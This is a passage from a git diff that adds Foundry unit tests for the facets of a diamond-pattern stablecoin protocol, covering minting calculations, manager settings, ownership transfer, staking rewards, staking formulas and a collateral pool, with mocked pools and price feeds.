MockCurveStableSwapMetaNG(managerFacet.stableSwapMetaPoolAddress()) + .updateMockParams(_twapPrice); + } + + function test_getDollarsToMintRevertsIfPriceLowerThan1USD() public { + mockTwapFuncs(5e17); + vm.expectRevert("DollarMintCalculator: not > 1"); + dollarMintCalculatorFacet.getDollarsToMint(); + } + + function test_getDollarsToMintWorks() public { + mockTwapFuncs(2e18); + uint256 totalSupply = IERC20(dollarAddress).totalSupply(); + uint256 amountToMint = dollarMintCalculatorFacet.getDollarsToMint(); + assertEq(amountToMint, totalSupply); + } +} diff --git a/packages/contracts/test/diamond/facets/DollarMintExcessFacet.t.sol b/packages/contracts/test/diamond/facets/DollarMintExcessFacet.t.sol new file mode 100644 index 000000000..bb4b68bd1 --- /dev/null +++ b/packages/contracts/test/diamond/facets/DollarMintExcessFacet.t.sol @@ -0,0 +1,110 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {IUniswapV2Router01} from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol"; +import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; +import {ICurveStableSwapMetaNG} from "../../../src/dollar/interfaces/ICurveStableSwapMetaNG.sol"; +import {ManagerFacet} from "../../../src/dollar/facets/ManagerFacet.sol"; +import {DollarMintExcessFacet} from "../../../src/dollar/facets/DollarMintExcessFacet.sol"; +import "../DiamondTestSetup.sol"; + +contract DollarMintExcessFacetTest is DiamondTestSetup { + address dollarManagerAddress; + address treasuryAddress; + address twapOracleAddress; + address excessDollarsDistributorAddress; + address _sushiSwapRouter = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F; + + function setUp() public virtual override { + super.setUp(); + dollarManagerAddress = address(diamond); + twapOracleAddress = address(diamond); + + excessDollarsDistributorAddress = address(dollarMintExcessFacet); + treasuryAddress = managerFacet.treasuryAddress(); + } + + function mockSushiSwapRouter(uint256 _expected_swap_amount) public { + vm.etch(_sushiSwapRouter, new bytes(0x42)); + uint256[] memory amountsOut = new uint256[](2); + amountsOut[0] = 0; + amountsOut[1] = _expected_swap_amount; + vm.mockCall( + _sushiSwapRouter, + abi.encodeWithSelector( + IUniswapV2Router01.swapExactTokensForTokens.selector + ), + abi.encode(amountsOut) + ); + vm.mockCall( + _sushiSwapRouter, + abi.encodeWithSelector(IUniswapV2Router01.addLiquidity.selector), + abi.encode() + ); + } + + function mockManagerAddresses( + address _curve3PoolAddress, + address _stakingContractAddress + ) public { + vm.store( + dollarManagerAddress, + bytes32(uint256(13)), + bytes32(abi.encodePacked(_stakingContractAddress)) + ); + vm.store( + dollarManagerAddress, + bytes32(uint256(15)), + bytes32(abi.encodePacked(_curve3PoolAddress)) + ); + vm.mockCall( + _curve3PoolAddress, + abi.encodeWithSelector(IERC20.approve.selector), + abi.encode() + ); + } + + function mockMetaPool( + address _metaPoolAddress, + uint256 _expectedLiqAmt, + uint256 _expectedExchangeAmt + ) public { + vm.prank(admin); + ManagerFacet(dollarManagerAddress).setStableSwapMetaPoolAddress( + _metaPoolAddress + ); + vm.mockCall( + _metaPoolAddress, + abi.encodeWithSelector(ICurveStableSwapMetaNG.exchange.selector), + abi.encode(_expectedExchangeAmt) + ); + vm.mockCall( + _metaPoolAddress, + abi.encodeWithSelector( + ICurveStableSwapMetaNG.add_liquidity.selector + ), + abi.encode(_expectedLiqAmt) + ); + } + + function testFails_distributeDollarsWorks() public { + // TODO: To mock up the array of uint256[] for sushiswap/uniswap routerV2, we use vm.mockCall. + // function mockCall(address where, bytes calldata data, bytes calldata retdata) external; + // The problem here is that it doesn't return uint256[] even if we configure it like abi.encode(retVal) => retVal: uint256[] + // Once we figure it out, we should remove Fails from function name. + + // mock up external calls + mockSushiSwapRouter(10e18); + mockMetaPool(address(0x55555), 10e18, 10e18); + mockManagerAddresses(address(0x123), address(0x456)); + dollarToken.mint(excessDollarsDistributorAddress, 200e18); + + // 10% should be transferred to the treasury address + uint256 _before_treasury_bal = dollarToken.balanceOf(treasuryAddress); + + DollarMintExcessFacet(excessDollarsDistributorAddress) + .distributeDollars(); + uint256 _after_treasury_bal = dollarToken.balanceOf(treasuryAddress); + assertEq(_after_treasury_bal - _before_treasury_bal, 20e18); + } +} diff --git a/packages/contracts/test/diamond/facets/ManagerFacet.t.sol b/packages/contracts/test/diamond/facets/ManagerFacet.t.sol new file mode 100644 index 000000000..2e7909c97 --- /dev/null +++ b/packages/contracts/test/diamond/facets/ManagerFacet.t.sol @@ -0,0 +1,202 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "../DiamondTestSetup.sol"; +import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; +import {ICurveFactory} from "../../../src/dollar/interfaces/ICurveFactory.sol"; +import {ICurveStableSwapMetaNG} from "../../../src/dollar/interfaces/ICurveStableSwapMetaNG.sol"; +import {LibAccessControl} from "../../../src/dollar/libraries/LibAccessControl.sol"; +import {MockCurveStableSwapMetaNG} from "../../../src/dollar/mocks/MockCurveStableSwapMetaNG.sol"; +import {MockERC20} from "../../../src/dollar/mocks/MockERC20.sol"; +import {MockCurveFactory} from "../../../src/dollar/mocks/MockCurveFactory.sol"; + +contract ManagerFacetTest is DiamondTestSetup { + function testCanCallGeneralFunctions_ShouldSucceed() public view { + managerFacet.excessDollarsDistributor(contract1); + } + + function testSetTwapOracleAddress_ShouldSucceed() public prankAs(admin) { + assertEq(managerFacet.twapOracleAddress(), address(diamond)); + } + + function testSetDollarTokenAddress_ShouldSucceed() public prankAs(admin) { + assertEq(managerFacet.dollarTokenAddress(), address(dollarToken)); + } + + function testSetCreditTokenAddress_ShouldSucceed() public prankAs(admin) { + managerFacet.setCreditTokenAddress(contract1); + assertEq(managerFacet.creditTokenAddress(), contract1); + } + + function testSetCreditNftAddress_ShouldSucceed() public prankAs(admin) { + managerFacet.setCreditNftAddress(contract1); + assertEq(managerFacet.creditNftAddress(), contract1); + } + + function testSetGovernanceTokenAddress_ShouldSucceed() + public + prankAs(admin) + { + managerFacet.setGovernanceTokenAddress(contract1); + assertEq(managerFacet.governanceTokenAddress(), contract1); + } + + function testSetSushiSwapPoolAddress_ShouldSucceed() public prankAs(admin) { + managerFacet.setSushiSwapPoolAddress(contract1); + assertEq(managerFacet.sushiSwapPoolAddress(), contract1); + } + + function testSetDollarMintCalculatorAddress_ShouldSucceed() + public + prankAs(admin) + { + managerFacet.setDollarMintCalculatorAddress(contract1); + assertEq(managerFacet.dollarMintCalculatorAddress(), contract1); + } + + function testSetExcessDollarsDistributor_ShouldSucceed() + public + prankAs(admin) + { + managerFacet.setExcessDollarsDistributor(contract1, contract2); + assertEq(managerFacet.excessDollarsDistributor(contract1), contract2); + } + + function testSetMasterChefAddress_ShouldSucceed() public prankAs(admin) { + managerFacet.setMasterChefAddress(contract1); + assertEq(managerFacet.masterChefAddress(), contract1); + } + + function testSetFormulasAddress_ShouldSucceed() public prankAs(admin) { + managerFacet.setFormulasAddress(contract1); + assertEq(managerFacet.formulasAddress(), contract1); + } + + function testSetStakingShareAddress_ShouldSucceed() public prankAs(admin) { + managerFacet.setStakingShareAddress(contract1); + assertEq(managerFacet.stakingShareAddress(), contract1); + } + + function testSetStableSwapMetaPoolAddress_ShouldSucceed() + public + prankAs(admin) + { + managerFacet.setStableSwapMetaPoolAddress(contract1); + assertEq(managerFacet.stableSwapMetaPoolAddress(), contract1); + } + + function testSetStableSwapPlainPoolAddress_ShouldSucceed() + public + prankAs(admin) + { + managerFacet.setStableSwapPlainPoolAddress(contract1); + assertEq(managerFacet.stableSwapPlainPoolAddress(), contract1); + } + + function testSetStakingContractAddress_ShouldSucceed() + public + prankAs(admin) + { + managerFacet.setStakingContractAddress(contract1); + assertEq(managerFacet.stakingContractAddress(), contract1); + } + + function testSetTreasuryAddress_ShouldSucceed() public prankAs(admin) { + managerFacet.setTreasuryAddress(contract1); + assertEq(managerFacet.treasuryAddress(), contract1); + } + + function testSetMinterRoleWhenInitializing_ShouldSucceed() + public + prankAs(admin) + { + assertEq( + accessControlFacet.hasRole(GOVERNANCE_TOKEN_MINTER_ROLE, admin), + true + ); + } + + function testInitializeDollarTokenAddress_ShouldSucceed() + public + prankAs(admin) + { + assertEq(managerFacet.dollarTokenAddress(), address(dollarToken)); + } + + function testDeployStableSwapPool_ShouldSucceed() public { + assertEq(dollarToken.decimals(), 18); + vm.startPrank(admin); + + dollarToken.mint(admin, 10000); + + MockERC20 curve3CrvToken = new MockERC20("3 CRV", "3CRV", 18); + address secondAccount = address(0x3); + address stakingZeroAccount = address(0x4); + address stakingMinAccount = address(0x5); + address stakingMaxAccount = address(0x6); + + address[6] memory mintings = [ + admin, + address(diamond), + secondAccount, + stakingZeroAccount, + stakingMinAccount, + stakingMaxAccount + ]; + + for (uint256 i = 0; i < mintings.length; ++i) { + deal(address(dollarToken), mintings[i], 10000e18); + } + + address stakingV1Address = generateAddress("stakingV1", true, 10 ether); + accessControlFacet.grantRole( + GOVERNANCE_TOKEN_MINTER_ROLE, + stakingV1Address + ); + accessControlFacet.grantRole( + GOVERNANCE_TOKEN_BURNER_ROLE, + stakingV1Address + ); + + vm.stopPrank(); + + address[4] memory crvDeal = [ + address(diamond), + stakingMaxAccount, + stakingMinAccount, + secondAccount + ]; + + // curve3CrvBasePool Curve.fi: DAI/USDC/USDT Pool + // curve3CrvToken TokenTracker that represents Curve.fi DAI/USDC/USDT part in the pool (3Crv) + + for (uint256 i; i < crvDeal.length; ++i) { + // distribute crv to the accounts + curve3CrvToken.mint(crvDeal[i], 10000e18); + } + + vm.startPrank(admin); + + ICurveFactory curvePoolFactory = ICurveFactory(new MockCurveFactory()); + address curve3CrvBasePool = address( + new MockCurveStableSwapMetaNG( + address(diamond), + address(curve3CrvToken) + ) + ); + managerFacet.deployStableSwapPool( + address(curvePoolFactory), + curve3CrvBasePool, + address(curve3CrvToken), + 10, + 50000000 + ); + + ICurveStableSwapMetaNG metapool = ICurveStableSwapMetaNG( + managerFacet.stableSwapMetaPoolAddress() + ); + address stakingV2Address = generateAddress("stakingV2", true, 10 ether); + metapool.transfer(address(stakingV2Address), 100e18); + vm.stopPrank(); + } +} diff --git a/packages/contracts/test/diamond/facets/OwnershipFacet.t.sol b/packages/contracts/test/diamond/facets/OwnershipFacet.t.sol new file mode 100644 index 000000000..abb518fa7 --- /dev/null +++ b/packages/contracts/test/diamond/facets/OwnershipFacet.t.sol @@ -0,0 +1,58 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {OwnershipFacet} from "../../../src/dollar/facets/OwnershipFacet.sol"; +import "../../../src/dollar/libraries/Constants.sol"; +import "../DiamondTestSetup.sol"; +import {AddressUtils} from "../../../src/dollar/libraries/AddressUtils.sol"; + +import {UintUtils} from "../../../src/dollar/libraries/UintUtils.sol"; + +contract OwnershipFacetTest is DiamondTestSetup { + using AddressUtils for address; + using UintUtils for uint256; + + address mock_sender = address(0x111); + address mock_recipient = address(0x222); + address mock_operator = address(0x333); + + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + // test OwnershipFacet transferOwnership should revert if sender is not owner + function testTransferOwnership_ShouldRevertWhenNotOwner() public { + assertEq(ownershipFacet.owner(), owner); + vm.prank(mock_sender); + vm.expectRevert(abi.encodePacked("LibDiamond: Must be contract owner")); + ownershipFacet.transferOwnership(mock_recipient); + assertEq(ownershipFacet.owner(), owner); + } + + // test OwnershipFacet transferOwnership should revert if new owner is zero address + function testTransferOwnership_ShouldRevertWhenNewOwnerIsZeroAddress() + public + { + assertEq(ownershipFacet.owner(), owner); + vm.prank(owner); + vm.expectRevert( + abi.encodePacked( + "OwnershipFacet: New owner cannot be the zero address" + ) + ); + ownershipFacet.transferOwnership(address(0)); + assertEq(ownershipFacet.owner(), owner); + } + + // test OwnershipFacet transferOwnership should work if new owner is not contract + function testTransferOwnership_ShouldWorkWhenNewOwnerIsNotContract() + public + { + vm.prank(owner); + vm.expectEmit(true, true, true, true); + emit OwnershipTransferred(owner, mock_recipient); + ownershipFacet.transferOwnership(mock_recipient); + assertEq(ownershipFacet.owner(), mock_recipient); + } +} diff --git a/packages/contracts/test/diamond/facets/StakingFacet.t.sol b/packages/contracts/test/diamond/facets/StakingFacet.t.sol new file mode 100644 index 000000000..5defed907 --- /dev/null +++ b/packages/contracts/test/diamond/facets/StakingFacet.t.sol @@ -0,0 +1,376 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {ICurveStableSwapMetaNG} from "../../../src/dollar/interfaces/ICurveStableSwapMetaNG.sol"; +import {MockCurveStableSwapMetaNG} from "../../../src/dollar/mocks/MockCurveStableSwapMetaNG.sol"; +import "../DiamondTestSetup.sol"; +import {StakingShare} from "../../../src/dollar/core/StakingShare.sol"; +import {BondingShare} from "../../../src/dollar/mocks/MockShareV1.sol"; +import {IERC20Ubiquity} from "../../../src/dollar/interfaces/IERC20Ubiquity.sol"; +import {ICurveFactory} from "../../../src/dollar/interfaces/ICurveFactory.sol"; + +import {DollarMintCalculatorFacet} from "../../../src/dollar/facets/DollarMintCalculatorFacet.sol"; +import {CreditNftManagerFacet} from "../../../src/dollar/facets/CreditNftManagerFacet.sol"; +import {UbiquityCreditToken} from "../../../src/dollar/core/UbiquityCreditToken.sol"; +import {DollarMintExcessFacet} from "../../../src/dollar/facets/DollarMintExcessFacet.sol"; +import "../../../src/dollar/libraries/Constants.sol"; +import {MockCurveFactory} from "../../../src/dollar/mocks/MockCurveFactory.sol"; +import {MockERC20} from "../../../src/dollar/mocks/MockERC20.sol"; +import "forge-std/Test.sol"; + +contract ZeroStateStaking is DiamondTestSetup { + MockERC20 crvToken; + uint256 creditNftLengthBlocks = 100; + address treasury = address(0x3); + address secondAccount = address(0x4); + address thirdAccount = address(0x5); + address fourthAccount = address(0x6); + address fifthAccount = address(0x7); + address stakingZeroAccount = address(0x8); + address stakingMinAccount = address(0x9); + address stakingMaxAccount = address(0x10); + + string uri = + "https://bafybeifibz4fhk4yag5reupmgh5cdbm2oladke4zfd7ldyw7avgipocpmy.ipfs.infura-ipfs.io/"; + + event Deposit( + address indexed _user, + uint256 indexed _id, + uint256 _lpAmount, + uint256 _stakingShareAmount, + uint256 _weeks, + uint256 _endBlock + ); + + event Withdraw( + address indexed user, + uint256 amount, + uint256 indexed stakingShareId + ); + + ICurveStableSwapMetaNG metapool; + address metaPoolAddress; + + event GovernancePerBlockModified(uint256 indexed governancePerBlock); + + event MinPriceDiffToUpdateMultiplierModified( + uint256 indexed minPriceDiffToUpdateMultiplier + ); + event BlockCountInAWeekUpdated(uint256 _blockCountInAWeek); + event StakingDiscountMultiplierUpdated(uint256 _stakingDiscountMultiplier); + + function setUp() public virtual override { + super.setUp(); + crvToken = new MockERC20("3 CRV", "3CRV", 18); + metaPoolAddress = address( + new MockCurveStableSwapMetaNG( + address(dollarToken), + address(crvToken) + ) + ); + + vm.startPrank(owner); + + address[7] memory mintings = [ + admin, + address(diamond), + owner, + fourthAccount, + stakingZeroAccount, + stakingMinAccount, + stakingMaxAccount + ]; + + for (uint256 i = 0; i < mintings.length; ++i) { + deal(address(dollarToken), mintings[i], 10000e18); + } + address[5] memory crvDeal = [ + address(diamond), + owner, + stakingMaxAccount, + stakingMinAccount, + fourthAccount + ]; + vm.stopPrank(); + for (uint256 i; i < crvDeal.length; ++i) { + crvToken.mint(crvDeal[i], 10000e18); + } + + vm.startPrank(admin); + managerFacet.setStableSwapMetaPoolAddress(metaPoolAddress); + stakingShare.setApprovalForAll(address(diamond), true); + accessControlFacet.grantRole( + GOVERNANCE_TOKEN_MINTER_ROLE, + address(stakingShare) + ); + + ICurveFactory curvePoolFactory = ICurveFactory(new MockCurveFactory()); + address curve3CrvBasePool = address( + new MockCurveStableSwapMetaNG(address(diamond), address(crvToken)) + ); + + //vm.prank(admin); + managerFacet.deployStableSwapPool( + address(curvePoolFactory), + curve3CrvBasePool, + address(crvToken), + 10, + 50000000 + ); + // + metapool = ICurveStableSwapMetaNG( + managerFacet.stableSwapMetaPoolAddress() + ); + metapool.transfer(address(stakingFacet), 100e18); + metapool.transfer(secondAccount, 1000e18); + vm.stopPrank(); + + vm.startPrank(admin); + + accessControlFacet.grantRole(GOVERNANCE_TOKEN_MANAGER_ROLE, admin); + accessControlFacet.grantRole(CREDIT_NFT_MANAGER_ROLE, address(diamond)); + accessControlFacet.grantRole( + GOVERNANCE_TOKEN_MINTER_ROLE, + address(diamond) + ); + + accessControlFacet.grantRole( + GOVERNANCE_TOKEN_BURNER_ROLE, + address(diamond) + ); + managerFacet.setCreditTokenAddress(address(creditToken)); + + vm.stopPrank(); + + vm.startPrank(stakingMinAccount); + dollarToken.approve(address(metapool), 10000e18); + crvToken.approve(address(metapool), 10000e18); + vm.stopPrank(); + + vm.startPrank(stakingMaxAccount); + dollarToken.approve(address(metapool), 10000e18); + crvToken.approve(address(metapool), 10000e18); + vm.stopPrank(); + vm.startPrank(fourthAccount); + dollarToken.approve(address(metapool), 10000e18); + crvToken.approve(address(metapool), 10000e18); + vm.stopPrank(); + + uint256[2] memory amounts_ = [uint256(100e18), uint256(100e18)]; + + uint256 dyuAD2LP = metapool.calc_token_amount(amounts_, true); + + vm.prank(stakingMinAccount); + metapool.add_liquidity( + amounts_, + (dyuAD2LP * 99) / 100, + stakingMinAccount + ); + + vm.prank(stakingMaxAccount); + metapool.add_liquidity( + amounts_, + (dyuAD2LP * 99) / 100, + stakingMaxAccount + ); + + vm.prank(fourthAccount); + metapool.add_liquidity(amounts_, (dyuAD2LP * 99) / 100, fourthAccount); + + vm.startPrank(admin); + accessControlFacet.grantRole( + GOVERNANCE_TOKEN_MINTER_ROLE, + address(diamond) + ); + stakingFacet.setBlockCountInAWeek(420); + + vm.stopPrank(); + + vm.prank(secondAccount); + stakingShare.setApprovalForAll(address(diamond), true); + + vm.prank(thirdAccount); + stakingShare.setApprovalForAll(address(diamond), true); + } +} + +contract ZeroStateStakingTest is ZeroStateStaking { + using stdStorage for StdStorage; + + function testSetStakingDiscountMultiplier(uint256 x) public { + vm.expectEmit(true, false, false, true); + emit StakingDiscountMultiplierUpdated(x); + vm.prank(admin); + stakingFacet.setStakingDiscountMultiplier(x); + assertEq(x, stakingFacet.stakingDiscountMultiplier()); + } + + function testSetBlockCountInAWeek(uint256 x) public { + vm.expectEmit(true, false, false, true); + emit BlockCountInAWeekUpdated(x); + vm.prank(admin); + stakingFacet.setBlockCountInAWeek(x); + assertEq(x, stakingFacet.blockCountInAWeek()); + } + + function testDeposit_Staking(uint256 lpAmount, uint256 lockup) public { + lpAmount = bound(lpAmount, 1, metapool.balanceOf(stakingMinAccount)); + lockup = bound(lockup, 1, 208); + require(lpAmount >= 1 && lpAmount <= 100e18); + require(lockup >= 1 && lockup <= 208); + uint256 preBalance = metapool.balanceOf(stakingMinAccount); + vm.startPrank(stakingMinAccount); + metapool.approve(address(stakingFacet), 2 ** 256 - 1); + vm.expectEmit(true, false, false, true); + emit Deposit( + stakingMinAccount, + stakingShare.totalSupply(), + lpAmount, + stakingFormulasFacet.durationMultiply( + lpAmount, + lockup, + stakingFacet.stakingDiscountMultiplier() + ), + lockup, + (block.number + lockup * stakingFacet.blockCountInAWeek()) + ); + stakingFacet.deposit(lpAmount, lockup); + assertEq(metapool.balanceOf(stakingMinAccount), preBalance - lpAmount); + } + + function testLockupMultiplier() public { + uint256 minLP = metapool.balanceOf(stakingMinAccount); + uint256 maxLP = metapool.balanceOf(stakingMaxAccount); + + vm.startPrank(stakingMaxAccount); + metapool.approve(address(stakingFacet), 2 ** 256 - 1); + stakingFacet.deposit(maxLP, 208); + vm.stopPrank(); + + vm.startPrank(stakingMinAccount); + metapool.approve(address(stakingFacet), 2 ** 256 - 1); + stakingFacet.deposit(minLP, 1); + vm.stopPrank(); + + uint256[2] memory bsMaxAmount = chefFacet.getStakingShareInfo(1); + uint256[2] memory bsMinAmount = chefFacet.getStakingShareInfo(2); + + assertLt(bsMinAmount[0], bsMaxAmount[0]); + } + + function testCannotStakeMoreThan4Years(uint256 _weeks) public { + _weeks = bound(_weeks, 209, 2 ** 256 - 1); + vm.expectRevert("Staking: duration must be between 1 and 208 weeks"); + vm.prank(fourthAccount); + stakingFacet.deposit(1, _weeks); + } + + function testCannotDepositZeroWeeks() public { + vm.expectRevert("Staking: duration must be between 1 and 208 weeks"); + vm.prank(fourthAccount); + stakingFacet.deposit(1, 0); + } +} + +contract DepositStateStaking is ZeroStateStaking { + uint256 fourthBal; + uint256 fourthID; + uint256 shares; + + function setUp() public virtual override { + super.setUp(); + + assertEq(chefFacet.totalShares(), 0); + fourthBal = metapool.balanceOf(fourthAccount); + shares = stakingFormulasFacet.durationMultiply( + fourthBal, + 1, + stakingFacet.stakingDiscountMultiplier() + ); + vm.startPrank(admin); + fourthID = stakingShare.totalSupply() + 1; + vm.stopPrank(); + vm.startPrank(fourthAccount); + metapool.approve(address(diamond), fourthBal); + stakingFacet.deposit(fourthBal, 1); + + assertEq(stakingShare.totalSupply(), fourthID); + assertEq(stakingShare.balanceOf(fourthAccount, fourthID), 1); + + vm.stopPrank(); + } +} + +contract DepositStateTest is DepositStateStaking { + function testTotalShares() public { + assertEq(chefFacet.totalShares(), shares); + } + + function testRemoveLiquidity() public { + assertEq(chefFacet.totalShares(), shares); + + // advance the block number to staking time so the withdraw is possible + uint256 currentBlock = block.number; + uint256 blocks = 1000; + uint256 amount = 10e18; + assertEq(chefFacet.totalShares(), shares); + + uint256 preBal = governanceToken.balanceOf(fourthAccount); + (uint256 lastRewardBlock, ) = chefFacet.pool(); + vm.roll(currentBlock + blocks); + uint256 multiplier = (block.number - lastRewardBlock) * 1e18; + uint256 governancePerBlock = 10e18; + uint256 reward = ((multiplier * governancePerBlock) / 1e18); + uint256 governancePerShare = (reward * 1e12) / shares; + assertEq(chefFacet.totalShares(), shares); + // we have to bound the amount of LP token to withdraw to max what account four has deposited + amount = bound(amount, 1, fourthBal); + assertEq(chefFacet.totalShares(), shares); + + // calculate the reward in governance token for the user based on all his shares + uint256 userReward = (shares * governancePerShare) / 1e12; + + vm.prank(fourthAccount); + stakingFacet.removeLiquidity(amount, fourthID); + + assertEq(preBal + userReward, 9999999999999927918000); + } + + function testGetRewards() public { + uint256 blocks = 10; + + uint256 currentBlock = block.number; + vm.roll(currentBlock + blocks); + vm.prank(fourthAccount); + uint256 rewardSent = chefFacet.getRewards(1); + assertEq(rewardSent, 99999999999918018000); + } + + function testCannotGetRewardsOtherAccount() public { + vm.expectRevert("MS: caller is not owner"); + vm.prank(stakingMinAccount); + chefFacet.getRewards(1); + } + + function testPendingGovernance(uint256 blocks) public { + blocks = bound(blocks, 1, 2 ** 128 - 1); + + (uint256 lastRewardBlock, ) = chefFacet.pool(); + uint256 currentBlock = block.number; + vm.roll(currentBlock + blocks); + uint256 multiplier = (block.number - lastRewardBlock) * 1e18; + uint256 reward = ((multiplier * 10e18) / 1e18); + uint256 governancePerShare = (reward * 1e12) / shares; + uint256 userPending = (shares * governancePerShare) / 1e12; + + uint256 pendingGovernance = chefFacet.pendingGovernance(1); + assertEq(userPending, pendingGovernance); + } + + function testGetStakingShareInfo() public { + uint256[2] memory info1 = [shares, 0]; + uint256[2] memory info2 = chefFacet.getStakingShareInfo(1); + assertEq(info1[0], info2[0]); + assertEq(info1[1], info2[1]); + } +} diff --git a/packages/contracts/test/diamond/facets/StakingFormulasFacet.t.sol b/packages/contracts/test/diamond/facets/StakingFormulasFacet.t.sol new file mode 100644 index 000000000..7d7d4ad58 --- /dev/null +++ b/packages/contracts/test/diamond/facets/StakingFormulasFacet.t.sol @@ -0,0 +1,105 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "../DiamondTestSetup.sol"; +import "abdk/ABDKMathQuad.sol"; +import {StakingShare} from "../../../src/dollar/core/StakingShare.sol"; + +contract StakingFormulasFacetTest is DiamondTestSetup { + using ABDKMathQuad for uint256; + using ABDKMathQuad for bytes16; + + function setUp() public virtual override { + super.setUp(); + } + + function test_sharesForLP() public { + StakingShare.Stake memory _stake = StakingShare.Stake({ + // address of the minter + minter: address(0x11111), + // lp amount deposited by the user + lpFirstDeposited: 0, + creationBlock: 100, + // lp that were already there when created + lpRewardDebt: 0, + endBlock: 1000, + // lp remaining for a user + lpAmount: 100 + }); + + uint256[2] memory _shareInfo = [uint256(100), uint256(100)]; + uint256 _amount = 10; + + assertEq( + stakingFormulasFacet.sharesForLP(_stake, _shareInfo, _amount), + 10 + ); + } + + function test_lpRewardsRemoveLiquidityNormalization( + StakingShare.Stake memory _stake, + uint256[2] memory _shareInfo, + uint256 _amount + ) public { + assertEq( + stakingFormulasFacet.lpRewardsRemoveLiquidityNormalization( + _stake, + _shareInfo, + _amount + ), + _amount + ); + } + + function test_lpRewardsAddLiquidityNormalization( + StakingShare.Stake memory _stake, + uint256[2] memory _shareInfo, + uint256 _amount + ) public { + assertEq( + stakingFormulasFacet.lpRewardsAddLiquidityNormalization( + _stake, + _shareInfo, + _amount + ), + _amount + ); + } + + function test_correctedAmountToWithdraw_returnAmount() public { + uint256 _totalLpDeposited = 10000; + uint256 _stakingLpBalance = 20000; + uint256 _amount = 100; + assertEq( + stakingFormulasFacet.correctedAmountToWithdraw( + _totalLpDeposited, + _stakingLpBalance, + _amount + ), + 100 + ); + } + + function test_correctedAmountToWithdraw_calcSharedAmount() public { + uint256 _totalLpDeposited = 10000; + uint256 _stakingLpBalance = 5000; + uint256 _amount = 100; + assertEq( + stakingFormulasFacet.correctedAmountToWithdraw( + _totalLpDeposited, + _stakingLpBalance, + _amount + ), + 50 + ); + } + + function testDurationMultiply_ShouldReturnAmount() public { + uint256 amount = stakingFormulasFacet.durationMultiply( + 100 ether, + 1, + 1000000 gwei + ); + assertEq(amount, 100100000000000000000); + } +} diff --git a/packages/contracts/test/diamond/facets/UbiquityPoolFacet.t.sol b/packages/contracts/test/diamond/facets/UbiquityPoolFacet.t.sol new file mode 100644 index 000000000..afc0b2723 --- /dev/null +++ b/packages/contracts/test/diamond/facets/UbiquityPoolFacet.t.sol @@ -0,0 +1,1698 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "forge-std/console.sol"; +import {DiamondTestSetup} from "../DiamondTestSetup.sol"; +import {IDollarAmoMinter} from "../../../src/dollar/interfaces/IDollarAmoMinter.sol"; +import {LibUbiquityPool} from "../../../src/dollar/libraries/LibUbiquityPool.sol"; +import {MockChainLinkFeed} from "../../../src/dollar/mocks/MockChainLinkFeed.sol"; +import {MockERC20} from "../../../src/dollar/mocks/MockERC20.sol"; +import {MockCurveStableSwapNG} from "../../../src/dollar/mocks/MockCurveStableSwapNG.sol"; +import {MockCurveTwocryptoOptimized} from "../../../src/dollar/mocks/MockCurveTwocryptoOptimized.sol"; + +contract MockDollarAmoMinter is IDollarAmoMinter { + function collateralDollarBalance() external pure returns (uint256) { + return 0; + } + + function collateralIndex() external pure returns (uint256) { + return 0; + } +} + +contract UbiquityPoolFacetTest is DiamondTestSetup { + MockDollarAmoMinter dollarAmoMinter; + MockERC20 collateralToken; + MockChainLinkFeed collateralTokenPriceFeed; + MockCurveStableSwapNG curveDollarPlainPool; + MockCurveTwocryptoOptimized curveGovernanceEthPool; + MockERC20 stableToken; + MockChainLinkFeed ethUsdPriceFeed; + MockChainLinkFeed stableUsdPriceFeed; + MockERC20 wethToken; + + address user = address(1); + + // Events + event AmoMinterAdded(address amoMinterAddress); + event AmoMinterRemoved(address amoMinterAddress); + event CollateralPriceFeedSet( + uint256 collateralIndex, + address priceFeedAddress, + uint256 stalenessThreshold + ); + event CollateralPriceSet(uint256 collateralIndex, uint256 newPrice); + event CollateralRatioSet(uint256 newCollateralRatio); + event CollateralToggled(uint256 collateralIndex, bool newState); + event EthUsdPriceFeedSet( + address newPriceFeedAddress, + uint256 newStalenessThreshold + ); + event FeesSet( + uint256 collateralIndex, + uint256 newMintFee, + uint256 newRedeemFee + ); + event GovernanceEthPoolSet(address newGovernanceEthPoolAddress); + event MintRedeemBorrowToggled(uint256 collateralIndex, uint8 toggleIndex); + event PoolCeilingSet(uint256 collateralIndex, uint256 newCeiling); + event PriceThresholdsSet( + uint256 newMintPriceThreshold, + uint256 newRedeemPriceThreshold + ); + event RedemptionDelayBlocksSet(uint256 redemptionDelayBlocks); + event StableUsdPriceFeedSet( + address newPriceFeedAddress, + uint256 newStalenessThreshold + ); + + function setUp() public override { + super.setUp(); + + vm.startPrank(admin); + + // init collateral token + collateralToken = new MockERC20("COLLATERAL", "CLT", 18); + + // init collateral price feed + collateralTokenPriceFeed = new MockChainLinkFeed(); + + // init ETH/USD price feed + ethUsdPriceFeed = new MockChainLinkFeed(); + + // init stable/USD price feed + stableUsdPriceFeed = new MockChainLinkFeed(); + + // init WETH token + wethToken = new MockERC20("WETH", "WETH", 18); + + // init stable USD pegged token + stableToken = new MockERC20("STABLE", "STABLE", 18); + + // init Curve Stable-Dollar plain pool + curveDollarPlainPool = new MockCurveStableSwapNG( + address(stableToken), + address(dollarToken) + ); + + // init Curve Governance-WETH crypto pool + curveGovernanceEthPool = new MockCurveTwocryptoOptimized( + address(governanceToken), + address(wethToken) + ); + + // add collateral token to the pool + uint256 poolCeiling = 50_000e18; // max 50_000 of collateral tokens is allowed + ubiquityPoolFacet.addCollateralToken( + address(collateralToken), + address(collateralTokenPriceFeed), + poolCeiling + ); + + // set collateral price feed mock params + collateralTokenPriceFeed.updateMockParams( + 1, // round id + 100_000_000, // answer, 100_000_000 = $1.00 (chainlink 8 decimals answer is converted to 6 decimals pool price) + block.timestamp, // started at + block.timestamp, // updated at + 1 // answered in round + ); + + // set ETH/USD price feed mock params + ethUsdPriceFeed.updateMockParams( + 1, // round id + 2000_00000000, // 